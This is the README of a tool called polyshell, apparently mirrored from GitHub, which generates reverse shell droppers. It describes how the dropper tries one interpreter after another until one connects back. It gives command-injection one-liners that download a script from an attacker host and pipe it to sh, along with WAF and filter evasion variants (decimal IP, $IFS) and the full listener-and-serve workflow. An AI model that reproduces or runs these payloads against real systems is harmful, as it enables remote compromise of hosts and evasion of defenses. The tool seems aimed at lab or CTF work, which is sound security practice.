2026-07-08 01:33:33 +01:00
2026-07-08 01:33:33 +01:00
2026-07-08 01:33:33 +01:00
2026-07-08 01:33:33 +01:00
2026-07-08 01:33:33 +01:00
2026-07-08 01:33:33 +01:00

polyshell

Polyglot reverse shell dropper generator. Outputs a self-contained sh script that walks through available interpreters on the target and connects back on the first one it finds.

; $(curl -s http://10.10.14.5/rev|sh)

usage

# generate dropper to ./rev
python3 revgen.py <LHOST> <LPORT>

# resolve tun0 automatically
python3 revgen.py tun0 4444

# generate and print inject one-liners and server commands
python3 revgen.py tun0 4444 --serve

# list all available payloads
python3 revgen.py tun0 4444 -l

# print a single payload by index
python3 revgen.py tun0 4444 -s 3

# base64 encode a single payload (WAF bypass)
python3 revgen.py tun0 4444 -s 3 -e b64

# url encode a single payload
python3 revgen.py tun0 4444 -s 3 -e url

# custom output filename
python3 revgen.py tun0 4444 -o r

dropper chain

The generated rev script tries interpreters in this order, stopping on the first successful connection:

python3 > python2 > bash > perl > php > ruby > socat > nc -e > busybox nc > ncat > nc mkfifo > awk

Each block uses if command -v <bin>; then ...; exit; fi so the session stays alive until you close it.

inject patterns

# standard
; $(curl -s http://10.10.14.5/rev|sh)

# decimal IP (WAF bypass, avoids dotted notation filters)
; $(curl -s http://168431137/rev|sh)

# wget variant
; $(wget -qO- http://10.10.14.5/rev|sh)

# if spaces are filtered
;$(curl$IFS-s$IFS http://10.10.14.5/rev|sh)

Convert your IP to decimal:

python3 -c "import struct,socket; print(struct.unpack('!I', socket.inet_aton('10.10.14.5'))[0])"

full workflow

# terminal 1, listener
rlwrap nc -lvnp 4444

# terminal 2, generate and serve
python3 revgen.py tun0 4444 --serve
python3 -m http.server 80

# terminal 3, inject (command injection, RCE, SSRF, etc.)
; $(curl -s http://10.10.14.5/rev|sh)

options

positional:
  lhost               listener IP or interface (tun0, eth0, ...)
  lport               listener port

optional:
  -o FILE             output filename (default: rev)
  -e {b64,url}        encode output
  -s N                print payload #N only
  -l                  list all payloads
  --serve             print inject one-liners and server/listener commands
  --serve-port PORT   HTTP server port for one-liners (default: 80)
  --no-color          disable colors

extending

payloads.py is intentionally separate. Add entries to the list returned by build_payloads():

("mylang",
 f'mylang -e "connect(\'{h}\',{p})"'),

Then add a matching if command -v block in build_dropper() to include it in the auto-chain.

notes

  • Python3 is tried first since it gives a proper pty via pty.spawn, skipping the stty upgrade step
  • All payloads use double-quotes externally so they survive curl ... | sh without quoting conflicts
  • nc -e failure is detected before falling through to the mkfifo variant, covering both traditional and OpenBSD nc
  • busybox nc covers Alpine and embedded targets
S
Description
Automated archival mirror of github.com/Chaelsoo/polyshell
Readme MIT
30 KiB
Languages
Python 100%